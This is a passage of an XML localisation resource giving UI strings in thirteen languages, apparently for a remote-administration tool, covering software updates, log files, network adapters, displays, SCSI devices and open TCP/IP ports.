</msg>
<cat name="HISTORY">
<msg name="TITLE">
<en>Most recent %PRODUCTNAME updates</en>
<de>Neue Updates für %PRODUCTNAME</de>
<es>Actualizaciones más recientes de %PRODUCTNAME</es>
<fr>Les mises à jour récentes de %PRODUCTNAME</fr>
<it>Aggiornamenti più recenti di %PRODUCTNAME</it>
<ru>Самые последние обновления продукта %PRODUCTNAME</ru>
<ja>%PRODUCTNAME の最近の更新</ja>
<zh>最新的 %PRODUCTNAME 更新</zh>
<ko>가장 최신 %PRODUCTNAME 업데이트</ko>
<en-gb>Most recent %PRODUCTNAME updates</en-gb>
<hu>A legújabb %PRODUCTNAME frissítések</hu>
<pt-br>Atualizações mais recentes do %PRODUCTNAME</pt-br>
<nl>Meest recente updates voor %PRODUCTNAME</nl>
</msg>
<msg name="NONE">
<en>There were no automatic updates installed yet.</en>
<de>Es wurden noch keine automatischen Updates installiert.</de>
<es>Todavía no se ha instalado ninguna actualización automática.</es>
<fr>Il n'y avait aucune mise à jour automatique installée jusqu'à ce jour.</fr>
<it>Non ci sono aggiornamenti automatici già installati.</it>
<ru>Автоматические обновления еще не были установлены.</ru>
<ja>自動更新がインストールされていません。</ja>
<zh>尚未安装自动更新。</zh>
<ko>자동 업데이트가 아직 설치되어 있지 않습니다.</ko>
<en-gb>No automatic updates have been installed yet.</en-gb>
<hu>Még nincsenek telepített automatikus frissítések.</hu>
<pt-br>Ainda não havia atualizações automáticas instaladas.</pt-br>
<nl>Op dit ogenblik zijn er nog geen automatische updates geïnstalleerd.</nl>
</msg>
<!-- autoupdate history columns -->
<msg name="VERSION">
<en>Version</en>
<de>Version</de>
<es>Versión</es>
<fr>Version</fr>
<it>Versione</it>
<ru>Версия</ru>
<ja>バージョン</ja>
<zh>版本</zh>
<ko>버전</ko>
<en-gb>Version</en-gb>
<hu>Verzió</hu>
<pt-br>Versão</pt-br>
<nl>Versie</nl>
</msg>
<msg name="REPLACED">
<en>Replaced</en>
<de>Ersetzt</de>
<es>Sustituida</es>
<fr>Remplacé</fr>
<it>Sostituita</it>
<ru>Замещена</ru>
<ja>以前のバージョン</ja>
<zh>已替换</zh>
<ko>변경됨</ko>
<en-gb>Replaced</en-gb>
<hu>Cserélt</hu>
<pt-br>Substituído</pt-br>
<nl>Vervangen</nl>
</msg>
<msg name="SIZE">
<en>Size</en>
<de>Größe</de>
<es>Tamaño</es>
<fr>Taille</fr>
<it>Dimensione</it>
<ru>Размер</ru>
<ja>サイズ</ja>
<zh>大小</zh>
<ko>크기</ko>
<en-gb>Size</en-gb>
<hu>Méret</hu>
<pt-br>Tamanho</pt-br>
<nl>Grootte</nl>
</msg>
<msg name="LOAD.TIME">
<en>Downloaded at</en>
<de>Download am</de>
<es>Descargado en</es>
<fr>Téléchargé à</fr>
<it>Download eseguito il giorno</it>
<ru>Загружен в</ru>
<ja>ダウンロード先</ja>
<zh>下载位置</zh>
<ko>다운로드 위치</ko>
<en-gb>Downloaded at</en-gb>
<hu>Letöltés ideje:</hu>
<pt-br>Baixado em</pt-br>
<nl>Gedownload om</nl>
</msg>
<msg name="INST.TIME">
<en>Installed at</en>
<de>Installiert am</de>
<es>Instalado en</es>
<fr>Installé à</fr>
<it>Installato il giorno</it>
<ru>Установлен в</ru>
<ja>インストール先</ja>
<zh>安装位置</zh>
<ko>설치 위치</ko>
<en-gb>Installed at</en-gb>
<hu>Telepítés ideje</hu>
<pt-br>Instalado em</pt-br>
<nl>Geïnstalleerd om</nl>
</msg>
<msg name="INST.USER">
<en>Installed by</en>
<de>Installiert von</de>
<es>Instalado por</es>
<fr>Installé par</fr>
<it>Installato da</it>
<ru>Установлен</ru>
<ja>インストールの実行者</ja>
<zh>安装者</zh>
<ko>설치자</ko>
<en-gb>Installed by</en-gb>
<hu>Telepítette:</hu>
<pt-br>Instalado por</pt-br>
<nl>Geïnstalleerd door</nl>
</msg>
</cat>
<cat name="NOTIFY">
<!-- update notification -->
<msg name="TITLE">
<en>%PRODUCTNAME - Version Update</en>
<de>%PRODUCTNAME - Version Update</de>
<es>%PRODUCTNAME: actualización de versión</es>
<fr>%PRODUCTNAME - Version mise à jour</fr>
<it>%PRODUCTNAME - Aggiornamento della versione</it>
<ru>%PRODUCTNAME - Обновление версии</ru>
<ja>%PRODUCTNAME - バージョンの更新</ja>
<zh>%PRODUCTNAME - 版本更新</zh>
<ko>%PRODUCTNAME - 버전 업데이트</ko>
<en-gb>%PRODUCTNAME - Version Update</en-gb>
<hu>%PRODUCTNAME - Verziófrissítés</hu>
<pt-br>%PRODUCTNAME - Atualização da versão</pt-br>
<nl>%PRODUCTNAME - Update van versie</nl>
</msg>
<msg name="QUESTION">
<en>An updated version of %PRODUCTNAME has been downloaded and is ready to install.\n\n
Click Update to install the new version now.\n</en>
<de>Eine aktualisierte Version von %PRODUCTNAME wurde herunter geladen und kann jetzt installiert werden.\n
Klicken Sie auf Installieren, um die neue Version jetzt zu installieren.\n
Klicken Sie auf Abbrechen, um später erneut benachrichtigt zu werden.\n</de>
<es>Se ha descargado una versión actualizada de %PRODUCTNAME y está lista para ser instalada.\n\n
Haga clic en Actualizar para instalar la nueva versión.\n</es>
<fr>Une version mise à jour de %PRODUCTNAME a été téléchargée et est prête à être installée.\n
Cliquez Mise à jour pour installer la nouvelle version maintenant.\n
Cliquez Annuler pour être avisé de la mise à jour plus tard.\n</fr>
<it>È stato effettuato il download di una versione aggiornata di %PRODUCTNAME ed è possibile eseguirne l'installazione.\n\n
Fare clic su Aggiorna per installare ora la nuova versione.\n</it>
<ru>Обновленная версия продукта %PRODUCTNAME была загружена и готова к установке.\n\n
Щелкните "Обновить", чтобы установить новую версию сейчас.\n</ru>
<ja>%PRODUCTNAME の更新バージョンのダウンロードが完了し、インストールの準備ができました。\n\n今すぐ新しいバージョンをインストールするには、[更新] をクリックします。\n</ja>
<zh>已下载 %PRODUCTNAME 的更新版本,并准备安装。\n\n
单击“更新”以立即安装新版本。\n</zh>
<ko>%PRODUCTNAME의 업데이트 버전이 다운로드되어 설치할 준비가 되었습니다.\n\n 지금 새 버전을 설치하려면 "업데이트"를 클릭하십시오.\n</ko>
<en-gb>An updated version of %PRODUCTNAME has been downloaded and is ready to install.\n\n
Click Update to install the new version now.\n</en-gb>
<hu>A(z)  %PRODUCTNAME frissített verziója letöltődött és készen áll a telepítésre.\n\n
Kattintson a Frissítés gombra, az új verzió telepítéséhez.\n</hu>
<pt-br>Uma versão atualizada do %PRODUCTNAME foi baixada e está pronta para instalação.\n\n
Clique em Atualizar para instalar a nova versão agora.\n</pt-br>
<nl>Een update van de toepassing %PRODUCTNAME is nu gedownload en gereed om te worden geïnstalleerd.\n\n Klik op "Update uitvoeren" als u de nieuwe versie nu wilt installeren.\n</nl>
</msg>
<msg name="QUESTION.RC">
<en>
All sessions will be disconnected during the update. If you are using a third-party
(non-Microsoft) firewall, someone at the host may have to answer any firewall prompts to allow
the %PRODUCTNAME.exe program file to communicate over the Internet.
</en>
<es>Se desconectarán todas las sesiones durante la actualización. Si utiliza un firewall de terceros (que no sea de Microsoft), alguien en el host debe responder a los mensajes del firewall para permitir que el archivo de programa %PRODUCTNAME.exe se comunique a través de Internet.</es>
<de>Während der Aktualisierung werden alle Sitzungen beendet. Wenn Sie eine Firewall eines Drittanbieters (nicht von Microsoft) nutzen, muss der Bediener des Hostcomputers etwaige Firewall-Meldungen bestätigen, um der Programmdatei %PRODUCTNAME.exe die Kommunikation über das Internet zu erlauben.</de>
<fr>Toutes les sessions seront déconnectées pendant la mise à jour. Si vous utilisez un pare-feu tiers (non Microsoft), quelqu'un au niveau de l'hôte doit répondre aux requêtes du pare-feu pour autoriser le programme %PRODUCTNAME.exe à communiquer sur Internet.</fr>
<it>Tutte le sessioni verranno disconnesse durante l'aggiornamento. Se si utilizza un firewall di terze parti (non Microsoft), un utente presso l'host dovrà rispondere a tutte le richieste del firewall per consentire al file del programma %PRODUCTNAME.exe di comunicare tramite Internet.</it>
<ru>Во время обновления все сеансы будут отключены. При использовании стороннего сетевого экрана (производства не Microsoft) кто-либо на хост-компьютере должен отвечать на любые запросы сетевого экрана (брандмауэра), чтобы предоставить разрешение файлу программы %PRODUCTNAME.exe на осуществление связи через Интернет.</ru>
<ja>更新中はすべてのセッションが切断されます。 サードパーティ製 (Microsoft 以外) のファイアウォールを使用している場合は、ホストの前にいるユーザがファイアウォールのメッセージに応答し、%PRODUCTNAME.exe プログラム ファイルがインターネット経由で通信できるようにする必要があります。</ja>
<zh>所有会话将在更新期间断开连接。 如果您使用的是第三方(非 Microsoft)防火墙,使用主机的一些人必须回答所有防火墙提示才能允许 %PRODUCTNAME.exe 程序文件通过 Internet 传送。</zh>
<ko>업데이트 중에 모든 세션 연결이 끊어집니다. 타사(Microsoft 제외) 방화벽을 사용하는 경우, 인터넷을 통해 통신할 수 있도록 호스트의 다른 사용자가 %PRODUCTNAME.exe 프로그램 파일을 허용하는 방화벽 프롬프트에 응답해야 합니다.</ko>
<hu>A frissítés idején minden munkamenet leválasztásra kerül. Ha Ön más gyártó (nem a Microsoft) tűzfalát használja, akkor a gazdagépnél valakinek válaszolnia kell a tűzfal esetleges jelzéseire, hogy a %PRODUCTNAME.exe programfájl kommunikálhasson az interneten keresztül.</hu>
<pt-br>Todas as sessões serão desconectadas durante a atualização. Se você estiver usando um firewall de terceiros (não-Microsoft), alguém no host deverá responder aos prompts do firewall para permitir que o arquivo de programa %PRODUCTNAME.exe se comunique pela Internet.</pt-br>
<nl>Tijdens de update worden alle sessies verbroken. Als u een firewall van derden (non-Microsoft) gebruikt, moet iemand op de hostcomputer de firewall prompts beantwoorden zodat het %PRODUCTNAME.exe bestand over het internet kan communiceren.</nl>
<en-gb>All sessions will be disconnected during the update. If you are using a third-party (non-Microsoft) firewall, someone at the host, must answer any firewall prompts to allowthe %PRODUCTNAME.exe program file to communicate over the Internet.</en-gb>
</msg>
<msg name="WHATSNEW">
<en>&amp;What's new...</en>
<de>&amp;Was neu ist...</de>
<es>&amp;Novedades...</es>
<fr>&amp;Nouveauté...</fr>
<it>&amp;Novità...</it>
<ru>&amp;Новые возможности...</ru>
<ja>最新情報(&amp;W)...</ja>
<zh>新增功能(&amp;W)...</zh>
<ko>&amp;새로운 기능...</ko>
<en-gb>&amp;What's new...</en-gb>
<hu>&amp;Újdonságok...</hu>
<pt-br>&amp;O que há de novo...</pt-br>
<nl>&amp;Wat is er nieuw...</nl>
</msg>
<msg name="COMMAND">
<en>&amp;Update</en>
<de>&amp;Installieren</de>
<es>&amp;Actualizar</es>
<fr>&amp;Mise à jour</fr>
<it>&amp;Aggiorna</it>
<ru>&amp;Обновить</ru>
<ja>更新(&amp;U)</ja>
<zh>更新(&amp;U)</zh>
<ko>&amp;업데이트</ko>
<en-gb>&amp;Update</en-gb>
<hu>&amp;Frissítés</hu>
<pt-br>&amp;Atualizar</pt-br>
<nl>&amp;Update uitvoeren</nl>
</msg>
<msg name="LATER">
<en>&amp;Remind Me Later</en>
<es>&amp;Recordármelo más tarde</es>
<fr>&amp;Me rappeller lus tard</fr>
<de>&amp;Später erinnern</de>
<it>&amp;Visualizza in seguito</it>
<ru>&amp;Напомнить позже</ru>
<ja>後でまた知らせる(&amp;R)</ja>
<zh>稍后提醒我(&amp;R)</zh>
<ko>&amp;나중에 알림</ko>
<en-gb>&amp;Remind Me Later</en-gb>
<hu>&amp;Emlékeztessen rá később</hu>
<pt-br>&amp;Lembra-me depois</pt-br>
<nl>&amp;Deze herinnering later weergeven</nl>
</msg>
</cat>
<cat name="PROGRESS">
<msg os="macosx" name="PHASE_0">
<en>Comparing versions</en>
<de>Versionen werden verglichen</de>
<es>Comparando versiones</es>
<fr>Comparaison des versions</fr>
<it>Confronto tra le versioni</it>
<ru>Сравнение версий</ru>
<ja>バージョンを比較しています</ja>
<zh>比较版本</zh>
<en-gb>Comparing versions</en-gb>
<ko>버전 비교</ko>
<hu>Verziók összehasonlítása</hu>
<pt-br>Comparando versões</pt-br>
<nl>Bezig met vergelijken van versies</nl>
</msg>
<msg os="macosx" name="PHASE_1">
<en>Stopping %PRODUCTNAME</en>
<de>%PRODUCTNAME wird beendet...</de>
<es>Parando %PRODUCTNAME...</es>
<fr>Arrêt de %PRODUCTNAME en cours...</fr>
<it>Interruzione di %PRODUCTNAME...</it>
<ru>Завершение работы %PRODUCTNAME...</ru>
<ja>終了中 %PRODUCTNAME...</ja>
<ko>%PRODUCTNAME 중지 중...</ko>
<zh>正在停止 %PRODUCTNAME...</zh>
<en-gb>Stopping %PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME leállítása...</hu>
<pt-br>Parando o %PRODUCTNAME...</pt-br>
<nl>Bezig met sluiten van %PRODUCTNAME</nl>
</msg>
<msg os="macosx" name="PHASE_2">
<en>Creating temporary backup</en>
<de>Temporäre Sicherungskopie wird erstellt</de>
<es>Creando copia de seguridad temporal</es>
<fr>Création de sauvegarde temporaire</fr>
<it>Creazione di un backup temporaneo</it>
<ru>Создание временной резервной копии</ru>
<ja>一時バックアップを作成しています</ja>
<zh>创建临时备份</zh>
<ko>임시 백업 만들기</ko>
<en-gb>Creating temporary backup</en-gb>
<hu>Ideiglenes biztonsági másolat létrehozása</hu>
<pt-br>Criando backup temporário</pt-br>
<nl>Bezig met maken van tijdelijke back-up</nl>
</msg>
<msg os="macosx" name="PHASE_3">
<en>Copying new files</en>
<es>Copiando archivos nuevos</es>
<de>Neue Dateien werden kopiert</de>
<fr>Copie des nouveaux fichiers</fr>
<it>Copia dei nuovi file</it>
<ru>Копирование новых файлов</ru>
<ja>新しいファイルをコピーしています</ja>
<zh>正在复制新文件</zh>
<ko>새 파일 복사 중</ko>
<hu>Új fájlok másolása</hu>
<pt-br>Copiando novos arquivos</pt-br>
<nl>Nieuwe bestanden worden gekopieerd</nl>
<en-gb>Copying new files</en-gb>
</msg>
<msg os="macosx" name="PHASE_4">
<en>Removing temporary backup</en>
<de>Temporäre Sicherungskopie wird entfernt</de>
<es>Eliminando copia de seguridad temporal</es>
<fr>Suppression de sauvegarde temporaire</fr>
<it>Rimozione di un backup temporaneo</it>
<ru>Удаление временной резервной копии</ru>
<ja>一時バックアップを削除しています</ja>
<zh>删除临时备份</zh>
<ko>임시 백업 제거</ko>
<en-gb>Removing temporary backup</en-gb>
<hu>Ideiglenes biztonsági másolat törlése</hu>
<pt-br>Removendo backup temporário</pt-br>
<nl>Bezig met verwijderen van tijdelijke back-up</nl>
</msg>
<msg os="macosx" name="PHASE_5">
<en>Starting %PRODUCTNAME</en>
<de>Starte %PRODUCTNAME</de>
<es>Iniciando %PRODUCTNAME</es>
<fr>Démarrer %PRODUCTNAME</fr>
<it>Avvio di %PRODUCTNAME</it>
<ru>Запуск %PRODUCTNAME</ru>
<en-gb>Starting %PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME indítása</hu>
<pt-br>Iniciando o %PRODUCTNAME</pt-br>
<nl>Bezig met starten van %PRODUCTNAME</nl>
<ja>%PRODUCTNAME を起動中</ja>
<ko>%PRODUCTNAME 시작 중</ko>
<zh>开始%PRODUCTNAME</zh>
</msg>
<msg os="macosx" name="PHASE_6">
<en>Update finished</en>
<de>Aktualisierung beendet</de>
<es>Actualización finalizada</es>
<fr>Mise à jour terminée</fr>
<it>Aggiornamento terminato</it>
<ru>Обновление завершено</ru>
<ja>更新が終了しました</ja>
<zh>更新已完成</zh>
<ko>업데이트 마침</ko>
<en-gb>Update finished</en-gb>
<hu>A frissítés befejeződött</hu>
<pt-br>Atualização concluída</pt-br>
<nl>Update voltooid</nl>
</msg>
<msg os="macosx" name="PHASE_7">
<en>Update finished</en>
<de>Aktualisierung beendet</de>
<es>Actualización finalizada</es>
<fr>Mise à jour terminée</fr>
<it>Aggiornamento terminato</it>
<ru>Обновление завершено</ru>
<ja>更新が終了しました</ja>
<zh>更新已完成</zh>
<ko>업데이트 마침</ko>
<en-gb>Update finished</en-gb>
<hu>A frissítés befejeződött</hu>
<pt-br>Atualização concluída</pt-br>
<nl>Update voltooid</nl>
</msg>
</cat>
</cat>
<!-- "remotelyanywhere logs" messages -->
<cat name="LOGS">
<msg name="TITLE">
<en>%PRODUCTNAME Logs</en>
<de>%PRODUCTABBR Protokoll</de>
<es>Registros de %PRODUCTNAME</es>
<fr>Logs %PRODUCTABBR</fr>
<it>Registri di %PRODUCTNAME</it>
<ru>Журналы %PRODUCTNAME</ru>
<ja>%PRODUCTNAME のログ</ja>
<zh>%PRODUCTNAME 日志</zh>
<ko>%PRODUCTNAME 로그</ko>
<en-gb>%PRODUCTNAME Logs</en-gb>
<hu>%PRODUCTNAME naplók</hu>
<pt-br>Logs do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME-logboekbestanden</nl>
</msg>
<msg name="AVAIL">
<en>Available log files</en>
<de>Verfügbare Protokolldateien</de>
<es>Archivos de registro disponibles</es>
<fr>Fichiers de logs disponibles</fr>
<it>File di registro disponibili</it>
<ru>Доступные файлы журналов</ru>
<ja>有効なログ ファイル</ja>
<zh>可用的日志文件</zh>
<ko>사용 가능한 로그 파일</ko>
<en-gb>Available log files</en-gb>
<hu>Elérhető naplófájlok</hu>
<pt-br>Arquivos de log disponíveis</pt-br>
<nl>Beschikbare logboekbestanden</nl>
</msg>
<msg name="GETALL">
<en>Download all logs in one compressed file</en>
<de>Alle verfügbaren Protokolldateien in einer komprimierten Archivdatei downloaden.</de>
<es>Descargue todos los archivos de registro en un archivo comprimido</es>
<fr>Téléchargez tous les logs dans un fichier compressé</fr>
<it>Download di tutti i registri in un file compresso</it>
<ru>Загрузите все журналы в одном сжатом файле</ru>
<ja>すべてのログを 1 つの圧縮ファイルでダウンロードする</ja>
<zh>将所有日志下载至一个压缩文件</zh>
<ko>모든 로그를 하나의 압축 파일로 다운로드</ko>
<en-gb>Download all logs in one compressed file</en-gb>
<hu>Az összes naplófájl letöltése egyetlen tömörített fájlban</hu>
<pt-br>Baixe todos os logs em um arquivo compactado</pt-br>
<nl>Alle logboekbestanden downloaden in één gecomprimeerd bestand</nl>
</msg>
</cat>
<!-- "network adapters information" messages -->
<cat name="NETINFO">
<msg name="TITLE">
<en>Network Load</en>
<es>Carga de red</es>
<fr>Réseau</fr>
<de>Netzweklast</de>
<it>Carico di rete</it>
<ru>Сетевая нагрузка</ru>
<ja>ネットワーク負荷</ja>
<zh>网络负载</zh>
<ko>네트워크 로드</ko>
<en-gb>Network Load</en-gb>
<hu>Hálózat terhelése</hu>
<pt-br>Carga de rede</pt-br>
<nl>Netwerkbelasting</nl>
</msg>
<msg name="ADAPTERS">
<en>Network Adapters</en>
<de>Netzwerkadapter</de>
<es>Adaptadores de red</es>
<fr>Adaptateur réseau (Network Adapters)</fr>
<it>Adattatori di rete</it>
<ru>Сетевые адаптеры</ru>
<ja>ネットワーク アダプタ</ja>
<zh>网络适配器</zh>
<ko>네트워크 어댑터</ko>
<en-gb>Network Adapters</en-gb>
<hu>Hálózati adapterek</hu>
<pt-br>Adaptadores de rede</pt-br>
<nl>Netwerkadapters</nl>
</msg>
<msg name="ADDRESS">
<en>Physical Address</en>
<de>Physikalische Adresse</de>
<es>Dirección física</es>
<fr>Adresse physique</fr>
<it>Indirizzo fisico</it>
<ru>Физический адрес</ru>
<ja>物理アドレス</ja>
<zh>物理地址</zh>
<ko>실제 주소</ko>
<en-gb>Physical Address</en-gb>
<hu>Fizikai cím</hu>
<pt-br>Endereço físico</pt-br>
<nl>Fysiek adres</nl>
</msg>
<msg name="SPEED">
<en>Speed</en>
<de>Geschwindigkeit</de>
<es>Velocidad</es>
<fr>Vitesse</fr>
<it>Velocità</it>
<ru>Скорость</ru>
<ja>速度</ja>
<zh>速率</zh>
<ko>속도</ko>
<en-gb>Speed</en-gb>
<hu>Sebesség</hu>
<pt-br>Velocidade</pt-br>
<nl>Snelheid</nl>
</msg>
<msg name="OCTIN">
<en>Octets In</en>
<de>Eingehende Oktetts</de>
<es>Bits entrantes</es>
<fr>Octets rentrants</fr>
<it>Ottetti in ingresso</it>
<ru>Входящие октеты</ru>
<ja>受信オクテット数</ja>
<zh>八位字节输入</zh>
<ko>8진수 입력</ko>
<en-gb>Octets In</en-gb>
<hu>Beérkezett bájtok</hu>
<pt-br>Bytes de entrada</pt-br>
<nl>Ontvangen octetten</nl>
</msg>
<msg name="OCTOUT">
<en>Octets Out</en>
<de>Ausgehende Oktetts</de>
<es>Bits salientes</es>
<fr>Octets sortants</fr>
<it>Ottetti in uscita</it>
<ru>Исходящие октеты</ru>
<ja>送信オクテット数</ja>
<zh>八位字节输出</zh>
<ko>8진수 출력</ko>
<en-gb>Octets Out</en-gb>
<hu>Elküldött bájtok</hu>
<pt-br>Bytes de saída</pt-br>
<nl>Verzonden octetten</nl>
</msg>
<msg name="IP">
<en>IP Address(es)</en>
<de>IP-Adresse(n)</de>
<es>Dirección(es) IP</es>
<fr>Adresse(s) IP</fr>
<it>Indirizzo o indirizzi IP</it>
<ru>IP-адрес(а)</ru>
<ja>IP アドレス</ja>
<zh>IP 地址</zh>
<ko>IP 주소</ko>
<en-gb>IP Address(es)</en-gb>
<hu>IP cím(ek)</hu>
<pt-br>Endereço(s) IP</pt-br>
<nl>IP-adres(sen)</nl>
</msg>
</cat>
<!-- "display adapters information" messages -->
<cat name="DISP">
<msg name="TITLE">
<en>Displays</en>
<de>Grafikkarten</de>
<es>Dispositivo visualizador</es>
<fr>Affichages</fr>
<it>Display</it>
<ru>Дисплеи</ru>
<ja>ディスプレイ</ja>
<zh>显示</zh>
<ko>디스플레이</ko>
<en-gb>Displays</en-gb>
<hu>Megjelenítők</hu>
<pt-br>Displays</pt-br>
<nl>Beeldschermen</nl>
</msg>
<msg name="TYPE.MONITOR">
<en>Monitor</en>
<de>Monitor</de>
<es>Monitor</es>
<fr>Moniteur</fr>
<it>Monitor</it>
<ru>Монитор</ru>
<ja>モニタ</ja>
<zh>监视器</zh>
<ko>모니터</ko>
<en-gb>Monitor</en-gb>
<hu>Monitor</hu>
<pt-br>Monitor</pt-br>
<nl>Monitor</nl>
</msg>
<msg name="TYPE.ADAPTER">
<en>Adapter</en>
<de>Adapter</de>
<es>Adaptador</es>
<fr>Adaptateur</fr>
<it>Adattatore</it>
<ru>Адаптер</ru>
<ja>アダプタ</ja>
<zh>适配器</zh>
<ko>어댑터</ko>
<en-gb>Adapter</en-gb>
<hu>Adapter</hu>
<pt-br>Adaptador</pt-br>
<nl>Adapter</nl>
</msg>
<msg name="MODE">
<en>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</en>
<de>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</de>
<es>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</es>
<fr>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</fr>
<it>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bit a %DISPLAY.FREQ Hz</it>
<ru>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH бит @ %DISPLAY.FREQ Гц</ru>
<ja>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</ja>
<zh>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH 位 @ %DISPLAY.FREQ Hz</zh>
<ko>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</ko>
<en-gb>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</en-gb>
<hu>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bit, %DISPLAY.FREQ Hz</hu>
<pt-br>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits @ %DISPLAY.FREQ Hz</pt-br>
<nl>%DISPLAY.WIDTH x %DISPLAY.HEIGHT x %DISPLAY.DEPTH bits bij %DISPLAY.FREQ Hz</nl>
</msg>
<msg name="PRIMARY">
<!-- marks a primary display device -->
<en>primary</en>
<de>primär</de>
<es>primario</es>
<fr>primaire</fr>
<it>primario</it>
<ru>основной</ru>
<ja>プライマリ</ja>
<zh>主</zh>
<ko>주</ko>
<en-gb>primary</en-gb>
<hu>elsődleges</hu>
<pt-br>primário</pt-br>
<nl>primair</nl>
</msg>
<msg name="DESKTOP">
<!-- marks a display device attached to the desktop -->
<en>desktop</en>
<de>Desktop</de>
<es>escritorio</es>
<fr>bureau</fr>
<it>desktop</it>
<ru>настольный</ru>
<ja>デスクトップ</ja>
<zh>桌面</zh>
<ko>데스크톱</ko>
<en-gb>desktop</en-gb>
<hu>asztali</hu>
<pt-br>desktop</pt-br>
<nl>bureaublad</nl>
</msg>
</cat>
<!-- "scsi devices information" messages -->
<cat name="SCSI">
<msg name="TITLE">
<en>SCSI Devices</en>
<de>SCSI Geräte</de>
<es>Dispositivos SCSI</es>
<fr>Périfériques SCSI</fr>
<it>Dispositivi SCSI</it>
<ru>SCSI-устройства</ru>
<ja>SCSI デバイス</ja>
<zh>SCSI 设备</zh>
<ko>SCSI 장치</ko>
<en-gb>SCSI Devices</en-gb>
<hu>SCSI eszközök</hu>
<pt-br>Dispositivos SCSI</pt-br>
<nl>SCSI-apparaten</nl>
</msg>
<msg name="HOST">
<en>Host Adapter</en>
<de>Host Adapter</de>
<es>Adaptador host</es>
<fr>Adaptateurs SCSI</fr>
<it>Adattatore host</it>
<ru>Хост-адаптер</ru>
<ja>ホスト アダプタ</ja>
<zh>主机适配器</zh>
<ko>호스트 어댑터</ko>
<en-gb>Host Adapter</en-gb>
<hu>Illesztőkártya</hu>
<pt-br>Adaptador de host</pt-br>
<nl>Hostadapter</nl>
</msg>
<msg name="UNIT">
<en>Unit Number</en>
<de>Unit Number</de>
<es>Número de la unidad</es>
<fr>Numéro d'unité</fr>
<it>Numero unità</it>
<ru>Номер устройства</ru>
<ja>ユニット番号</ja>
<zh>单元编号</zh>
<ko>단위 번호</ko>
<en-gb>Unit Number</en-gb>
<hu>Egység száma</hu>
<pt-br>Número da unidade</pt-br>
<nl>Eenheidnummer</nl>
</msg>
<msg name="PROD">
<en>Product</en>
<de>Produkt</de>
<es>Producto</es>
<fr>Produit</fr>
<it>Prodotto</it>
<ru>Продукт</ru>
<ja>製品</ja>
<zh>产品</zh>
<ko>제품</ko>
<en-gb>Product</en-gb>
<hu>Termék</hu>
<pt-br>Produto</pt-br>
<nl>Product</nl>
</msg>
<msg name="NONE">
<en>No SCSI devices installed.</en>
<de>Keine SCSI Geräte installiert</de>
<es>No hay instalado ningún dispositivo SCSI.</es>
<fr>Pas de périfériques SCSI installés</fr>
<it>N. dispositivi SCSI installati.</it>
<ru>Не установленных SCSI-устройств.</ru>
<ja>SCSI デバイスがインストールされていません。</ja>
<zh>未安装 SCSI 设备。</zh>
<ko>SCSI 장치가 설치되어 있지 않습니다.</ko>
<en-gb>No SCSI devices installed.</en-gb>
<hu>Nincs telepített SCSI eszköz</hu>
<pt-br>Não há dispositivos SCSI instalados.</pt-br>
<nl>Er zijn geen SCSI-apparaten geïnstalleerd.</nl>
</msg>
</cat>
<!-- "open ports information" messages -->
<cat name="PORT">
<msg name="TITLE">
<en>Open TCP/IP Ports</en>
<de>Geöffnete TCP/IP Ports</de>
<es>Puertos TCP/IP abiertos</es>
<fr>Ports TCP/IP ouverts</fr>
<it>Porte TCP/IP aperte</it>
<ru>Открытые TCP/IP-порты</ru>
<ja>オープンTCP/IPポート</ja>
<zh>打开的 TCP/IP 端口</zh>
<ko>TCP/IP 포트 열기</ko>
<en-gb>Open TCP/IP Ports</en-gb>
<hu>Nyitott TCP/IP portok</hu>
<pt-br>Abrir portas TCP/IP</pt-br>
<nl>TCP/IP-poorten openen</nl>
</msg>
<msg name="LISTEN">
<en>listening ports</en>
<de>Ports in Bereitschaft</de>
<es>puertos de escucha</es>
<fr>ports écoutés</fr>
<it>porte di ascolto</it>
<ru>прослушиваемые порты</ru>
<ja>リスニング ポート</ja>
<zh>侦听的端口</zh>
<ko>수신 포트</ko>
<en-gb>listening ports</en-gb>
<hu>figyelő portok</hu>
<pt-br>portas de ouvintes</pt-br>
<nl>luisterpoorten</nl>
</msg>
<msg name="CONN">
<en>connected ports</en>
<de>Verbundene Ports</de>
<es>puertos conectados</es>
<fr>ports connectés</fr>
<it>porte connesse</it>
<ru>подключенные порты</ru>
<ja>接続ポート</ja>
<zh>已连接的端口</zh>
<ko>연결된 포트</ko>
<en-gb>connected ports</en-gb>
<hu>csatlakoztatott portok</hu>
<pt-br>portas conectadas</pt-br>
<nl>aangesloten poorten</nl>
</msg>
<msg name="ELSE">
<en>everything else</en>
<de>alles weitere</de>
<es>todo lo demás</es>
<fr>autres informations</fr>
<it>altro</it>
<ru>все остальное</ru>
<ja>その他すべて</ja>
<zh>其他所有项目</zh>
<ko>기타</ko>
<en-gb>everything else</en-gb>
<hu>minden más</hu>
<pt-br>todas as demais</pt-br>
<nl>alle andere</nl>
</msg>
<msg name="RESOLVE">
<en>resolve IP addresses</en>
<de>IP-Adressen auflösen</de>
<es>resolver direcciones IP</es>
<fr>résolution de l'adresse IP</fr>
<it>risolvi indirizzi IP</it>
<ru>разрешить IP-адреса</ru>
<ja>IP アドレスを解決</ja>
<zh>解析 IP 地址</zh>
<ko>IP 주소 확인</ko>
<en-gb>resolve IP addresses</en-gb>
<hu>IP címek feloldása</hu>
<pt-br>resolver endereços IP</pt-br>
